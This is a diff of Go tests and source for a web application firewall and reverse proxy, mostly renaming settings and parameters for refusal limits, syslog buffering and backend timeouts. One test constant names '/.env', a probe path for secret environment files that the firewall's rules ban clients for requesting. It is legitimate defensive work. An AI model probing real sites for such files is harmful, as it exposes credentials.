if _, over := limiter.CountRefusal(client, start, limit); over { if _, over := limiter.CountRefusal(client, start, limit); over {
t.Fatalf( t.Fatalf(
"a refusal within the limit of %d broke the refusal limit", "a refusal within the threshold of %d broke the refusal limit",
limit, limit,
) )
} }
@@ -376,7 +376,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
} }
if !over || hit != want { if !over || hit != want {
t.Errorf( t.Errorf(
"one over the limit broke it: %t, with %+v; want %+v", "one over the threshold broke it: %t, with %+v; want %+v",
over, over,
hit, hit,
want, want,
@@ -384,7 +384,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
} }
// Half a minute into the next, half of those four still count, 2, and // Half a minute into the next, half of those four still count, 2, and
// this one: 3, within the limit. // this one: 3, within the threshold.
hit, over = limiter.CountRefusal( hit, over = limiter.CountRefusal(
client, client,
start.Add(time.Minute+time.Minute/2), start.Add(time.Minute+time.Minute/2),
+3 -3
View File
@@ -62,9 +62,9 @@ type Params struct {
// RootCAs are the certificates a SchemeTLS endpoint's certificate // RootCAs are the certificates a SchemeTLS endpoint's certificate
// must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's. // must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
RootCAs *x509.CertPool RootCAs *x509.CertPool
// BufferLines is the most lines held while they wait to be sent // Buffer is the most lines held while they wait to be sent
// (SWW_WAF_LOG_REMOTE_BUFFER_LINES). // (SWW_WAF_LOG_REMOTE_BUFFER_LINES).
BufferLines int Buffer int
// Facility is the number of the records' syslog facility // Facility is the number of the records' syslog facility
// (SWW_WAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME // (SWW_WAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME
// (SWW_WAF_LOG_REMOTE_APP_NAME). // (SWW_WAF_LOG_REMOTE_APP_NAME).
@@ -106,7 +106,7 @@ func New(params Params) *Sender {
// id and the structured data have no value. // id and the structured data have no value.
beforeTime: "<" + strconv.Itoa(priority) + ">1 ", beforeTime: "<" + strconv.Itoa(priority) + ">1 ",
afterTime: " " + hostname + " " + params.AppName + " - - - ", afterTime: " " + hostname + " " + params.AppName + " - - - ",
records: make(chan []byte, params.BufferLines), records: make(chan []byte, params.Buffer),
} }
} }
+5 -5
View File
@@ -129,7 +129,7 @@ func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(
endpoint := listen(t) endpoint := listen(t)
endpointParams := params(remotelog.SchemeTLS, endpoint.Addr()) endpointParams := params(remotelog.SchemeTLS, endpoint.Addr())
endpointParams.RootCAs = roots endpointParams.RootCAs = roots
endpointParams.BufferLines = 3 endpointParams.Buffer = 3
sender, _, _ := run(t, endpointParams) sender, _, _ := run(t, endpointParams)
// The sender connects, and its TLS handshake waits for an answer // The sender connects, and its TLS handshake waits for an answer
@@ -402,10 +402,10 @@ func (o *output) text() string {
// appName. // appName.
func params(scheme string, addr net.Addr) remotelog.Params { func params(scheme string, addr net.Addr) remotelog.Params {
return remotelog.Params{ return remotelog.Params{
URL: &url.URL{Scheme: scheme, Host: addr.String()}, URL: &url.URL{Scheme: scheme, Host: addr.String()},
BufferLines: 10, Buffer: 10,
Facility: local0, Facility: local0,
AppName: appName, AppName: appName,
} }
} }
+21 -21
View File
@@ -44,13 +44,13 @@ const (
// The settings the tests set. // The settings the tests set.
const ( const (
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS" timeoutSetting = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
noAnswerSetting = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION" noAnswerSetting = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES" trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
maxRequestSize = "SWW_RPROXY_MAX_REQUEST_SIZE" maxRequestSize = "SWW_RPROXY_MAX_REQUEST_SIZE"
maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE" maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE"
maxRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS" maxRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
maxResponseTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS" maxResponseTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
) )
// The headers the tests set and look at. // The headers the tests set and look at.
@@ -1111,7 +1111,7 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
_, _ = w.Write(make([]byte, size)) _, _ = w.Write(make([]byte, size))
}) })
addr, _ := startRProxy(t, standIn.URL, nowhere, map[string]string{ addr, _ := startRProxy(t, standIn.URL, nowhere, map[string]string{
wafBackendTimeout: "60000", timeoutSetting: "60000",
}) })
got := get(t, addr, "/") got := get(t, addr, "/")
@@ -1216,8 +1216,8 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
backend(t), backend(t),
app.URL, app.URL,
map[string]string{ map[string]string{
wafBackendTimeout: "60000", timeoutSetting: "60000",
noAnswerSetting: setting, noAnswerSetting: setting,
}, },
) )
@@ -1245,7 +1245,7 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
standIn := startWAF(t, overOneMiB(dispositionDeny)) standIn := startWAF(t, overOneMiB(dispositionDeny))
addr, out := startRProxy(t, standIn.URL, nowhere, map[string]string{ addr, out := startRProxy(t, standIn.URL, nowhere, map[string]string{
wafBackendTimeout: "60000", timeoutSetting: "60000",
}) })
if got := get(t, addr, "/"); got.status != http.StatusBadGateway { if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
@@ -1271,7 +1271,7 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
backend(t), backend(t),
app.URL, app.URL,
map[string]string{ map[string]string{
wafBackendTimeout: "200", timeoutSetting: "200",
}, },
) )
@@ -1298,8 +1298,8 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
backend(t), backend(t),
app.URL, app.URL,
map[string]string{ map[string]string{
wafBackendTimeout: "200", timeoutSetting: "200",
noAnswerSetting: dispositionDeny, noAnswerSetting: dispositionDeny,
}, },
) )
@@ -1341,8 +1341,8 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
standIn.URL, standIn.URL,
app.URL, app.URL,
map[string]string{ map[string]string{
wafBackendTimeout: "60000", timeoutSetting: "60000",
noAnswerSetting: disposition, noAnswerSetting: disposition,
}, },
) )
@@ -1387,7 +1387,7 @@ func TestSendsNoReportWithoutAnAnswer(t *testing.T) {
}) })
app := startApp(t, greet) app := startApp(t, greet)
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{ addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
wafBackendTimeout: "200", timeoutSetting: "200",
}) })
wantGreeting(t, get(t, addr, "/")) wantGreeting(t, get(t, addr, "/"))
@@ -1451,7 +1451,7 @@ func TestTheVisitorDoesNotWaitForTheReport(t *testing.T) {
app := startApp(t, greet) app := startApp(t, greet)
addr, _ := startRProxy(t, backend, app.URL, map[string]string{ addr, _ := startRProxy(t, backend, app.URL, map[string]string{
wafBackendTimeout: "60000", timeoutSetting: "60000",
}) })
t.Cleanup(func() { close(release) }) t.Cleanup(func() { close(release) })
@@ -1494,7 +1494,7 @@ func TestAReportWAFLeavesUnansweredIsDroppedAtTheTimeLimit(t *testing.T) {
// The time limit is long enough for a loaded host to answer the question before // The time limit is long enough for a loaded host to answer the question before
// it runs out. // it runs out.
addr, out := startRProxy(t, backend, app.URL, map[string]string{ addr, out := startRProxy(t, backend, app.URL, map[string]string{
wafBackendTimeout: "3000", timeoutSetting: "3000",
}) })
t.Cleanup(func() { close(release) }) t.Cleanup(func() { close(release) })
@@ -1524,7 +1524,7 @@ func TestAReportAnswered101IsDroppedAtOnce(t *testing.T) {
backend := startWAFAnsweringReports(t, allow, switchAndHold) backend := startWAFAnsweringReports(t, allow, switchAndHold)
app := startApp(t, greet) app := startApp(t, greet)
addr, out := startRProxy(t, backend, app.URL, map[string]string{ addr, out := startRProxy(t, backend, app.URL, map[string]string{
wafBackendTimeout: "60000", timeoutSetting: "60000",
}) })
wantGreeting(t, get(t, addr, "/")) wantGreeting(t, get(t, addr, "/"))
@@ -1612,7 +1612,7 @@ func TestWaitForReportsWaitsForAReportBeingSent(t *testing.T) {
backend.URL, backend.URL,
app.URL, app.URL,
map[string]string{ map[string]string{
wafBackendTimeout: "5000", timeoutSetting: "5000",
}, },
) )
+5 -5
View File
@@ -31,8 +31,8 @@ const (
rproxyListenAddr = "SWW_RPROXY_LISTEN_ADDR" rproxyListenAddr = "SWW_RPROXY_LISTEN_ADDR"
// rproxyUpstreamURL is the setting that says where the app is. // rproxyUpstreamURL is the setting that says where the app is.
rproxyUpstreamURL = "SWW_RPROXY_UPSTREAM_URL" rproxyUpstreamURL = "SWW_RPROXY_UPSTREAM_URL"
// wafBackendTimeout is the setting that says how long rproxy waits for waf. // rproxyTimeout is the setting that says how long rproxy waits for waf.
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS" rproxyTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
// bannedProbe is a path the default rule file bans a client for. // bannedProbe is a path the default rule file bans a client for.
bannedProbe = "/.env" bannedProbe = "/.env"
// otherClient is a client the tests do not ban. // otherClient is a client the tests do not ban.
@@ -692,7 +692,7 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
env := map[string]string{ env := map[string]string{
rproxyListenAddr: localhost + ":0", rproxyListenAddr: localhost + ":0",
"SWW_RPROXY_UPSTREAM_URL": startApp(t), "SWW_RPROXY_UPSTREAM_URL": startApp(t),
wafBackendTimeout: "60000", rproxyTimeout: "60000",
wafBackend: backend.URL, wafBackend: backend.URL,
} }
out := &output{} out := &output{}
@@ -856,8 +856,8 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
}{ }{
{"no backend", wafBackend, nil}, {"no backend", wafBackend, nil},
{ {
"another invalid", wafBackendTimeout, "another invalid", rproxyTimeout,
map[string]string{wafBackend: "http://waf:8080", wafBackendTimeout: "soon"}, map[string]string{wafBackend: "http://waf:8080", rproxyTimeout: "soon"},
}, },
} { } {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
+5 -5
View File
@@ -340,11 +340,11 @@ func newAlertQueue(
// SWW_WAF_LOG_REMOTE_URL, with the settings for it. // SWW_WAF_LOG_REMOTE_URL, with the settings for it.
func newRemoteLogSender(cfg *config.WAF) *remotelog.Sender { func newRemoteLogSender(cfg *config.WAF) *remotelog.Sender {
return remotelog.New(remotelog.Params{ return remotelog.New(remotelog.Params{
URL: cfg.LogRemoteURL, URL: cfg.LogRemoteURL,
RootCAs: cfg.LogRemoteTLSCAs, RootCAs: cfg.LogRemoteTLSCAs,
BufferLines: cfg.LogRemoteBufferLines, Buffer: cfg.LogRemoteBufferLines,
Facility: cfg.LogRemoteFacility, Facility: cfg.LogRemoteFacility,
AppName: cfg.LogRemoteAppName, AppName: cfg.LogRemoteAppName,
}) })
} }
+1 -1
View File
@@ -66,7 +66,7 @@ func stopHeldSender(t *testing.T, release time.Duration) time.Duration {
Scheme: remotelog.SchemeTCP, Scheme: remotelog.SchemeTCP,
Host: "127.0.0.1:65536", Host: "127.0.0.1:65536",
}, },
BufferLines: 1, Buffer: 1,
}) })
stopSending := startSending(t.Context(), sender, stopSending := startSending(t.Context(), sender,
+3 -5
View File
@@ -656,9 +656,8 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
t.Parallel() t.Parallel()
// In a synctest bubble, as // In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, // says, so that a request that does not wait takes no time at all.
// so that a request that does not wait takes no time at all.
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
server, out := newWAFInBubble(t, tc.env) server, out := newWAFInBubble(t, tc.env)
tc.prepare(t, server, time.Now()) tc.prepare(t, server, time.Now())
@@ -781,8 +780,7 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
// network inside it would keep its clock from moving on. // network inside it would keep its clock from moving on.
go server.Lists.Run(t.Context()) go server.Lists.Run(t.Context())
// In the bubble, as // In the bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays says, the
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, the
// answer takes exactly as long as waf waits, however busy the host is. // answer takes exactly as long as waf waits, however busy the host is.
// GeoJS and AbuseIPDB never answer there, without the network. The query to // GeoJS and AbuseIPDB never answer there, without the network. The query to
// the DNS blocklist waits on the network, which stops the bubble's clock, // the DNS blocklist waits on the network, which stops the bubble's clock,
+4 -6
View File
@@ -335,9 +335,8 @@ func TestClientWithoutAnAnswerInTimeHasTheUnknownCountryLimitPercent(
) { ) {
t.Parallel() t.Parallel()
// In a synctest bubble, as // In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, with // says, with a GeoJS that never answers.
// a GeoJS that never answers.
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
server, out, _ := newWAF(t, silentGeoJSURL, time.Now, server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
map[string]string{unknownCountryLimitPercent: "0"}) map[string]string{unknownCountryLimitPercent: "0"})
@@ -385,9 +384,8 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
t.Run(tc.setting+"="+tc.value, func(t *testing.T) { t.Run(tc.setting+"="+tc.value, func(t *testing.T) {
t.Parallel() t.Parallel()
// In a synctest bubble, as // In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, // says, with a GeoJS that never answers.
// with a GeoJS that never answers.
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
server, out, _ := newWAF(t, silentGeoJSURL, time.Now, server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
map[string]string{ map[string]string{
+1 -3
View File
@@ -438,9 +438,7 @@ func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(
} }
} }
func TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays( func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
// The test runs in a synctest bubble, where the time package runs on a // The test runs in a synctest bubble, where the time package runs on a
+1 -1
View File
@@ -16,7 +16,7 @@ import (
// in observe mode if enforce mode would have: more than // in observe mode if enforce mode would have: more than
// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE such refusals of the client within a minute break // SWW_WAF_REFUSALS_LIMIT_PER_MINUTE such refusals of the client within a minute break
// a limit, which bans the client. A client in SWW_WAF_ALLOW_NETS, which the // a limit, which bans the client. A client in SWW_WAF_ALLOW_NETS, which the
// heuristics skip, is not counted, and nothing is while the limit is off. // heuristics skip, is not counted, and nothing is while the threshold is off.
// Its figures are the window, the count and the limit. // Its figures are the window, the count and the limit.
type refusalLimit struct{} type refusalLimit struct{}
+11 -11
View File
@@ -49,14 +49,14 @@ func (r refused) send(s *sender, from string) logLine {
} }
// startForRefusalLimit is startWithClock with testRules, the metrics token and // startForRefusalLimit is startWithClock with testRules, the metrics token and
// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE at limit, and the settings in env. // SWW_WAF_REFUSALS_LIMIT_PER_MINUTE at threshold, and the settings in env.
func startForRefusalLimit( func startForRefusalLimit(
t *testing.T, limit string, env map[string]string, t *testing.T, threshold string, env map[string]string,
) (*sender, *clock, *waf.Server) { ) (*sender, *clock, *waf.Server) {
t.Helper() t.Helper()
settings := map[string]string{ settings := map[string]string{
refusalsLimitPerMinute: limit, refusalsLimitPerMinute: threshold,
ruleFilesDir: writeRules(t, testRules), ruleFilesDir: writeRules(t, testRules),
metricsToken: token, metricsToken: token,
} }
@@ -65,12 +65,12 @@ func startForRefusalLimit(
return startWithClock(t, "", settings) return startWithClock(t, "", settings)
} }
func TestRefusalLimitBreaksAtOneOverTheLimit(t *testing.T) { func TestRefusalLimitBreaksAtOneOverTheThreshold(t *testing.T) {
t.Parallel() t.Parallel()
for _, tc := range []struct { for _, tc := range []struct {
name string name string
// refusals are four, one over the limit of three. // refusals are four, one over the threshold of three.
refusals []refused refusals []refused
// nextAction is the action of the client's next request: the next // nextAction is the action of the client's next request: the next
// request after a ban for a ban rule makes it permanent. // request after a ban for a ban rule makes it permanent.
@@ -232,7 +232,7 @@ func TestRefusalLimitIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
tagLimitPercent: countryTagDEHalf, tagLimitPercent: countryTagDEHalf,
}) })
// Half of the limit would be one, which the second refusal is over. // Half of the threshold would be one, which the second refusal is over.
for range 2 { for range 2 {
line := blockRule.send(s, fromDE) line := blockRule.send(s, fromDE)
if line.LimitHit != "" { if line.LimitHit != "" {
@@ -277,7 +277,7 @@ func TestRefusalLimitDoesNotCountTheAppsAnswers(t *testing.T) {
} }
} }
// The first refusal is one, not over the limit. // The first refusal is one, not over the threshold.
line := blockRule.send(s, client) line := blockRule.send(s, client)
if line.LimitHit != "" { if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit) t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
@@ -297,19 +297,19 @@ func TestRefusalLimitOffOrAtItsDefault(t *testing.T) {
t.Parallel() t.Parallel()
for _, tc := range []struct { for _, tc := range []struct {
limit string threshold string
// broken is whether the 31st refusal breaks the refusal limit. // broken is whether the 31st refusal breaks the refusal limit.
broken bool broken bool
}{ }{
{"", true}, {"", true},
{off, false}, {off, false},
} { } {
t.Run(refusalsLimitPerMinute+"="+tc.limit, func(t *testing.T) { t.Run(refusalsLimitPerMinute+"="+tc.threshold, func(t *testing.T) {
t.Parallel() t.Parallel()
env := map[string]string{ruleFilesDir: writeRules(t, testRules)} env := map[string]string{ruleFilesDir: writeRules(t, testRules)}
if tc.limit != "" { if tc.threshold != "" {
env[refusalsLimitPerMinute] = tc.limit env[refusalsLimitPerMinute] = tc.threshold
} }
s, _, _ := startWithClock(t, "", env) s, _, _ := startWithClock(t, "", env)